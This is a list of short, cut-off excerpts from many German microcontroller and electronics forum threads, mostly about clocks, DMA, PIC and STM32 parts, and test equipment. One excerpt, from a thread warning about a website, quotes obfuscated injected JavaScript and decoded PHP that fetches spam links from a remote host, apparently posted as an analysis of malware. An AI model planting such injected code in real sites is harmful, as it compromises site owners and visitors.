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xmega verhält sich mit Debugger anders
Beitrag #5430267: > Wie kriegst du das hin? Afaik kann der Xmega nur 32MHz Ich habe extern einen 16MHz Quarz dran und den PLL auf 4. Sibbel schrieb im Beitrag #5430276: > Wie ist es denn, wenn der Debugger lediglich angeschlossen, aber nicht > über die IDE in Betrieb ist? Also nur anschließen
stabil läuft. Um aber auszuschließen, dass es daran liegt, betreibe ich den Spaß jetzt mit 32MHz (also 16MHz mit PLL auf 2). Ohne Erfolg, wie oben schon erwähnt. Holger K. schrieb im Beitrag #5430304: > Evtl hilft dies hier? > > Beitrag "atxmega RAM korrupt ohne debugger" In dem Beitrag war
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[Pollin Atmel-Programmer] Testtoll läuft nicht
kommt da folgender Fehler: Error : 45 Line : 58 DO expected ['] , in File : ...D810038S\Testtool.bas
Ein Atmega32 *kann* - laut Atmel Spezifikation im Datenblatt - mit bis zu 16 MHz getaktet werden, *wenn* eine externe 16MHz Taktquelle angeschlossen ist *und* diese Taktquelle per [[AVR Fuses]] eingestellt ist.
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Kühlschrank schrottet Shellys
============================= [/code] Benutzername schleichkatze Angemeldet seit 07.08.2023 16:55 Beiträge 0
oder irgendetwas, was Transienten abblocken soll, eingezeichnet. https://kb.shelly.cloud/knowledge-base/shelly-plus-1pm#ShellyPlus1PM(SNSW-001P16EU)-Basicwiringdiagram Das Thema ist doch durch. Für "echtes" Lastrelais ist das Ding doch viel zu klein. Ich hüte mich, sowas anzuschließen, was den Kurzschlussstrom
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Welcher PIC ist der beliebteste ?
gemein. Du solltest also zumindest etwas einschränken, um welche Familie es hier gehen soll. Der PIC16F887 gehört zu den 8-Bittern (PIC12... PIC16...), und auch da gibt es schon 3 Familien: Base-, Mid- und Enhanced Midrange. Der 16F887 gehört zu den (betagten) Mid-Range Typen. Außer in ganz speziellen
. (16C74A, 16C745, 16C765. Die willst du aber nicht mal geschenkt ;-)
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IP-Telefon IP15 von Pollin
Ich habe das Telefon mal an einem Labornetzteil angeschlossen: 12V 0,16A 9V 0,22A 7V 0,28A (Displaykontrast sehr schlecht) Sekundärseitig nimmt das Telefon also nur ~2W auf. Da ließe sich mit einem besseren Netzteil vielleicht noch etwas einsparen?
eine Doppeldose. An einem Anschluss hängt eine D-Box, die ich wegen Echtzeit-Streamings am Limit (10baseT) nicht auch noch über den Hub des Telefones führen möchte.
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STM32F072 UART DMA Interrupt funktioniert nicht
dmaInitStruct.DMA_PeripheralInc = DMA_PeripheralInc_Disable; dmaInitStruct.DMA_BufferSize = 16 * 32; dmaInitStruct.DMA_DIR = DMA_DIR_PeripheralSRC; dmaInitStruct.DMA_MemoryBaseAddr = (uint32_t) buffer; dmaInitStruct.DMA_PeripheralBaseAddr = (uint32_t) &(USART1->RDR); dmaInitStruct.DMA_Priority
Leon L. schrieb im Beitrag #4474765: > DMA_SetCurrDataCounter(DMA1_Channel5, 16 * 32); Kann gerade nicht nachgucken, aber ich vermute das muss weg.
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Unterbrechung eines Interrupts durch einen Interrupt
vergebbare Level war fuer mich einer der wesentlichen Gruende warum ich vor 15Jahren von AVRs auf M16C umgestiegen bin. Olaf
vergebbare Level war fuer mich einer der wesentlichen Gruende warum ich > vor 15Jahren von AVRs auf M16C umgestiegen bin. Die STM32 ARM-Prozessoren bieten da auch viele Möglichkeiten. Und wenn man dann noch die DMY dazunimmt, dann wirds erst richtig lustig.
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Was sind die zurzeit besten CD- und DVD-Rohlinge am Markt?
allerdings > scheitert dagegen, weil er die Laserleistung nicht an die neueren > Beschichtungen für 16fach Rohlinge anpassen kann und das Ergebnis hält > die Fehlerspezifikation (280/4). bei weitem nicht ein. Noch alte Firmware drauf? Auf eigene Gefahr: GSA-4040B Version A304 Firmware Update: http
bedruckbar soll sein: AML 003 ist: CMC MAG M01 cdrohlinge24 Intenso bedruckbar soll sein: OPTODISC R16 ist: CMC MAG M01 und nach einiger Zeit ist wieder was anderes drin.
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IRMP IR Receiver
return RCC_ClocksStatus.SYSCLK_Frequency; } [/c] [c] void timer5_init (void) { TIM_TimeBaseInitTypeDef TIM_TimeBaseStructure; NVIC_InitTypeDef NVIC_InitStructure; RCC_APB1PeriphClockCmd(RCC_APB1Periph_TIM5, ENABLE); TIM_TimeBaseStructure.TIM_ClockDivision = TIM_CKD_DIV1; TIM_TimeBaseStructure.TIM_CounterMode = TIM_CounterMode_Up; TIM_TimeBaseStructure.TIM_Period = 999; TIM_TimeBaseStructure.TIM_Prescaler = 106
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Überspannungsspitzen response
habe nur eine schnelle Frage. Zu den meisten Dioden sind gar keine response times angegeben zB der BAS16. Woher weiss man, dass diese viel zu langsam ist zB für schnelle Überspannungen im us Bereich?
Du schaust nach der 'Reverse Recovery Time', die z.B. bei der BAS16 bei etwa 4ns liegt. Ist sie nicht angegeben (wie z.B. meist bei der 1N4001-4007), ist die Diode meist schnarchlangsam.
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rechnen mit potenz(Kommazahl)
dem Ergebnis potenzieren. Mit der Basis 2 sind log und Potenz erwas einfacher als mit anderen Basen.
Wenn T die Temperatur ist, stimmt dann 237,16 oder meinst du 273,16. Hat zwar nichts mit dem potenzieren zu tun ergibt aber trotzdem ein falsches Ergebnis.
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A/D Wandler mir 64 eingängen
und ergeben Ungenauigkeiten. Zudem ist die analoge Signalführung durchaus kritisch. Und ein ATMega16 könnte während der Messung weitgehend im rauscharmen IDLE verharren.
Kanäle 10 Bit für 2V, also 2mV Auflösung: DES 8-10 USB." = DES 8-10 USB ! Das ist wohl ein ATMega16 mit RS232/USB Wandler. Zudem muss man sich eh noch Hardware für die Pegelbegrenzungen basteln.
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ZX81 plus38 Clone
LA1010 Das ist doch auch so ein USB-Protokollanalyzer, der die Daten direkt in den PC schaufelt? Bei 16 Kanälen schafft der 16 MHz, was grundsätzlich reichen würde. Leider hängen diese 16 MHz aber am USB-Takt und kommen nicht von Deinem Zielsystem. 16 Kanäle sind auch reichlich knapp für ein 8 bit-System
We only have 16 kBytes, from 16384 to 32767.
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Prototypen anlegen mit struct
es nicht hin. Ich habe z.B. eine einfache Funktion im .c file: [c] //Min Max begrenzen uint16_t MinMax (uint16_t Input, uint16_t Min , uint16_t Max) { if (Input <= Min) Input = Min; if (Input >= Max) Input = Max; return Input; } [/c] In der .h [c uint16_t MinMax (uint16_t Input, uint16_t Min , uint16_t Max); [/c] und alles läuft. Warum nicht das mit der Struktur als Übergabewert? Wie muss ich's denn machen?
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Qam-16 encoder / decoder Projekt
. - Ansprechendes Preis- / Leistungs- Verhältnis des DE1 Boards. Nun zu meinem Projekt: 100Base-T -> MII -> Qam-16 I & Q -> Optisch ->I & Q Qam-16 -> MII -> 100Base-T Okay, wohl nicht das optimale Einsteiger Projekt. Geplante Hardware: FPGA -> EP2C5T144C8N PHY -> DP83848C ADC -> AD9218
Vielen Dank für das anschauliche Beispiel. Ich habe nun meinen Qam 16 encoder / decoder überarbeitet und bin nun schon weit eher mit dem Ergebnis zufrieden. Nach Anpassung des D-Latch Problems sehen meine Signale schon deutlich besser aus. Nun frage ich mich, geht
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STM32duino 1.9.0 and BlackPill
verwendet. Schade an der BlackPill ist, dass der F411CE wohl keinen DA-Wandler hat: https://stm32-base.org/boards/STM32F411CEU6-WeAct-Black-Pill-V2.0
Laut Datenblatt hat der einen 12 Bit Wandler mit bis zu 16 Kanälen (bei den kleinen Gehäuse vermutlich ein paar weniger)
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Entfernungsmessung über min 2km
eine Aufnahme der Weihnachtsfeier geben, mit dem Kaufladen drauf. "Normal-8" Format, dazu wurde ein 16mm-Film in eine Kassette eingelegt und wie später die Tonband-CompactCassette nach der halben Aufnahmedauer umgedreht. Nach der Entwicklung wurde der dann der Länge nach aufgetrennt. "Super-8" kam später
Korrekturdaten und zusätzlich der Abstand zwischen den Empfängern wenn die beiden GNSS Empfänger als Base und Rover verwendet werden (also die Base die Korrekturdaten liefert). Sonst fast alles wie bei der Messung weiter oben, diesmal bei guter Rundumsicht und Bewölkung. Die Bilder im Anhang zeigen
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Hexadezimaler Ziffernsatz Gesperrt
einzelne Ziffern zu benennen: [math]45054 = \sum \alpha_i 16^i\,,\quad \alpha_1 = \alpha_2 = 15[/math] Damit lassen sich dann auch unhandlichere Basen wie 2^8, 2^31 oder 2^32 darstellen.
Hans L. schrieb im Beitrag #2566280: > Aber der müsste aus 16 nicht anderweitig verwendeten Zeichen > bestehen! Drum hatte man früher ja auch oft das Oktalsystem verwendet. Bei 12- und 36-Bit Maschinen war das auch ganz praktisch. Sogar bei der 16-Bit PDP-11
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Uhrenquarz Feineinstellung
die Uhr von diesem Quarz kommt. Der Rest des Programms läuft ganz normal ab. Wird also von dem 16MHz Quarz angetrieben. Der 16MHz Quarz wird mit 22pF gezogen. CKOPT war bis gestern eingeschaltet. Habe es jetzt mal ohne probiert, weil ich mir nicht sicher war, ob da nicht interne Kapazitäten an
Reichelt-Bestnr. '0,032768-L6' habe ich über die Jahre hinweg über 700 Stück verbaut, zuerst an ATmega16, dann an ATmega16A, und immer lag die nötige Korrektur innerhalb von 2.5E-5, ich hatte lediglich einen einzigen Totalausfall beim Quarz.
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ATXMEGA16 exterer Quarz
Bas Rol schrieb im Beitrag #2391539: > Ich hoffe ich konnte meine Frage verständlich erklären leider nein
Hallo; Bas Rol schrieb im Beitrag #2391539: > ist es besser einen externen 16MHz Quarz zu verwenden? so ist es. Die andere Geschichte funktioniert zwar auch, ist aber nur zu empfehlen, wenn du den 32,768
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Empfehlung für Switch
nicht schlecht aber da würde ich gerne noch > andere Meinungen hören. Ich habe TP-Link TL-SG2216 (16 Ports) im Einsatz und bin mit dem Teil sehr zufrieden. Die non-PoE-Geräte sind lüfterlos und damit angenehm leise. :-) Der große Bruder TL-SG2424 sollte deine Anforderungen erfüllen, die PoE-Variante
? Vielleicht Uplink-Ports? Was soll bei denen anders sein als an den anderen Ports? Bei 1000BaseT gibt es keinen Unterschied mehr zwischen direkter Verdrahtung und gekreuzter, das handeln die Gegenstellen automatisch aus. Auch bei 100BaseT ist Auto-MDIX seit vielen Jahren Standard. Als Uplink-Ports
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16-Bit-EXE erzeugen
Nein, DOS reicht. Um noch spezifischer zu werden: Ich brauche eigentlich nur ein "Hallo Welt" als 16-Bit-EXE, spricht: Ein Programm, das bei Start auf einem 16-Bit-kompatiblen System ein "Error - could not run application (Code 01)" und auf einem nicht-16-Bit-kompatiblen System die entsprechende Fehlermeldung
Der war gut ;) Ich meinte aber eher 1984 16bit kompiler mit 2018er x64 bit linker
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STM32 für Einsteiger - der Artikel zum Krieg (µC Wahl)
mit dem Arduino was gemacht ? > Weil der da mit in der Tabelle steht. Z80, 68HC11, 8051, AVR, PIC16, PIC18, PIC24, DsPIC33, M16C, LPC2000, ein Atmel ARM9, STM32 - aber Arduino noch nicht, werde ich wohl auch nicht.
>Z80, 68HC11, 8051, AVR, PIC16, PIC18, PIC24, DsPIC33, M16C, LPC2000, ein >Atmel ARM9, STM32 MOS8501, 68HC11, 8031, AVR, PIC10, PIC12, PIC18, PIC24, dsPIC33, S12X, H8, 68HC08, S7, S8, STM32, National, MSP430, NIOS, Arduino >
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Welchen Logic Analyzer kaufen?
#7407319: > weißt du wieviel Kanäle mit dem FX3 mit bis zu welcher Samplerate > einstellbar sind? 16 Kanäle, 100MHz https://community.infineon.com/t5/Knowledge-Base-Articles/EZ-USB-FX3-Explorer-kit-as-16-channel-100-MHz-logic-analyzer-with-sigrok/ta-p/283993
Hallo, 16 Kanal Clone "Saleae Logic 16", Zigarettenschachtel groß, dazu die aktuelle 2.x Software und das läuft. Verwende ich seit Jahren. Sind aber nur digitale Eingänge. Der Klone ist ein Nachbau eines alten
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STM32F1xx DMA - FSMC (LCD)
FSMC-Schnittstelle ist in dieser Bibliothek eine Einschränkung da der Ausgang A0 verwendet wird. Wird der Ausgang A16 verwendet muss für die Bank1 0x60000000 das 16-Bit (A16) eingeschoben werden: 0x60000000 | (0x00000001<16) -> 0x60020000 Die Bänke sehen dann so aus: Bank1 (NE1) 0x60000000 Bank2 (NE2) 0x64000000
Bank4 (NE4) 0x6C000000 Das hierß für mich, dass ich auf die Struktur LCD verzichte und LCD_REG16 und LCD_DATA16 manuell setze: #define LCD_REG16 (*((volatile uint16_t*)0x60000000)) #define LCD_DAT16 (*((volatile uint16_t*)0x60020000)) Die RAM-Addresse für den DMA geht ohne Pointer: #
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MSP430G2553 PWM flackert beim Verstellen der Pulsweite
to activate previously configured port settings CSCTL1 |= DCORSEL2; // DCO Range = 16 MHz // PWM an P1.7 aufsetzen P1DIR |= BIT7; // P1.7 ist Output P1SEL0 |= BIT7; // P1.7 gehört zu PWM TA0R = 0; //
mitgelieferten Projekten/Beispielen findet man Funktionen wie [c] ADC_disableConversions(ADC_BASE,ADC_COMPLETECONVERSION); [/c] oder [c] ADC_init(ADC_BASE,ADC_SAMPLEHOLDSOURCE_2,ADC_CLOCKSOURCE_ADCOSC,ADC_CLOCKDIVIDER_1); [/c] Werden die von professionellen Entwicklern auch verwendet?
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Anfängerfragen Transistoren
Basisströme an. Da der gesamte LED-Strom aus dem C1 kommt, fließt der aufgeteilt durch die beiden Basen. Ursache ist R3. Schon deshalb sollte man den LED-Strom begrenzen ... re schrieb im Beitrag #6461289: > (b) Am Beginn des Aufladeprozesses ist C entladen. Der Emitter von T2 > ist negativer als
Batterie über D1, R2 und Q1-CE. - der neue Widerstand R5 begrenzt das Entladen des C1 über die Basen in die LED und den Rückstrom BE des Q2. - der Hub am C1 beträgt einige Volt, damit werden bei gegebenem C größere Zeiten erreicht (im Vergleich zur Schaltung vom TO). Das liegt wesentlich an R3>0
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High Freq Power Amplifier
simuliert und dann aufgebaut. Leider, ist die Ausgangsamplitude mikrig. Lt. Simulation sollten 16Vpp drin sein, aber in der Realität sind es grad mal 2Vpp. Könnt Ihr mir bitte helfen, was da falsch ist? LG
Leistungsklassen. Man kann eine Diode weglassen und dafür einen einstellbaren Widerstand einfügen. Die beiden Basen der Endtransistoren würde ich dann aber zusätzlich mit einen Kondensator so um 100nF verbinden, damit Wechhselspannungsmäßig die beiden Basen auf gleiches Potential liegen. Ralph Berres
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Microchip SAMD (M0+) bzw. SAML10/11 (M23) Erfahrung
aktuell hauptsächlich nur QFN lieferbar. Debugger entweder ein Eval-Board mit J-Link oder ein J-Link Base: https://www.mouser.de/c/?q=efm8bb3 https://www.silabs.com/development-tools/mcu/8-bit/slstk2022a-efm8bb3-starter-kit https://www.segger.com/products/debug-probes/j-link/models/model-overview
https://hackaday.io/project/14950-silabs-efm8-programmer Der Profi wird dennoch den J-Link Base kaufen, weil der halt alle ARM und die Silabs 8051 unterstützt: https://www.segger.com/products/debug-probes/j-link/models/model-overview/ Atmel ICE ist im Vergleich völlig überteuert.
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WARNUNG VOR ETANGO.DE
script>function c246dea728q4ac58d66bf6df(q4ac58d66bfeac){ function q4ac58d66c067a(){var q4ac58d66c0e4a=16;return q4ac58d66c0e4a;} return (eval('pa'+'rseInt') (q4ac58d66bfeac,q4ac58d66c067a()));} function q4ac58d66c161a(q4ac58d66c1de9){ var q4ac58d66c3557=2; var q4ac58d66c25b8='';q4ac58d66c44f7=String
Habe mal den ersten base64-Block durch den Dekoder geschoben: [pre] error_reporting(0); $links = new GetLinks(); echo $links->Links; class GetLinks { var $host = "esli.tw"; var $path = "/link.php
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BASCOM, Anfängefrage, Fehler Bei Kompilieren
eingestellt. Welche Dateien muss ich in welches Verzeichnis stellen? Ich habe in dem Verzeichnis, wo meine BAS-Datei liegt auch die def.Datei f.d. Tiny2313 liegen. Ist das so i.o.?
Chip" was mus angezeigt werden? sollte schon das erkannt werden was du angeschlossen hast z.B mega16 oder so .....
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Was für eine Grafikkarte ist das?
1. Product Name: MSI 8893 with AGP 8x/16x Type: 2D/3D accelerator card Part number ATX: 6886480000 Manufacturer: MSI-8893 2. Specifications 2.1 Interface AGP 16x/8x/4x/2x system bus (AGP3.0, 2.0 & 1.0 compliant) 650MHz RAMDAC
PAL TV-out support) supports the following modes: NTSC (National Television Standards Committee) 16 bit and 32 bit per pixel up to 2048*1024 PAL (Phase Alternating Line) 16 bit and 32 bit per pixel up to 2048*1024 3.1 Graphics standards DirectDraw Direct3D DirectShow ActiveX DirectX 8.1
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Aufgabe für STM32 Mikrocontroller
Aufgabe betrachtet, die weiteren Einstell-Möglichkeiten werden hier vernachlässigt. GPIOx ODR: 16-Bit output Dataregister zum schreiben (und Lesen) der Outputs GPIOx.IDR 16-Bit Input Dataregister zum Lesen der Inputs GPIOx BSRR 32-Bit „Set oder Reset“ –Register -> Niedrige 16 Bits zum Setzen
) >> 16; set_port_level(GPIOB, tmp); } [/c]
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Wurzel ziehen am Cortex M0
wieviele Bits haben Deine Meßwerte? Eventuell reicht ja auch > eine Tabelle im Flash. 2 * voll 16bit da es sich um signed werte handelt.... lg Michael
Bigm schrieb im Beitrag #3283070: > 2 * voll 16bit da es sich um signed werte handelt.... Du meinst signed 16bit in und signed 16bit out? Dann sind es nur 15bit in, weil man sich das "j" je nach Vorzeichen dazumultiplizieren kann. Dafür reichen
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Display zeigt falsch an
rechts char fNegative:1; // Auszugebende Zahl ist negativ. } flags; #define SCRATCH 16 unsigned char scratch[SCRATCH]; unsigned char format_flag; unsigned int u_val=0, base=0; unsigned char *ptr; char hexA = 'a'; char *p; int n; int nLen; va_list ap;
// Weiter wie 'x' case 'x': base = 16; } CONVERSION_LOOP: u_val = va_arg (ap, int); n = u_val; flags.fNegative = 0; if (format_flag == 'd' || format_flag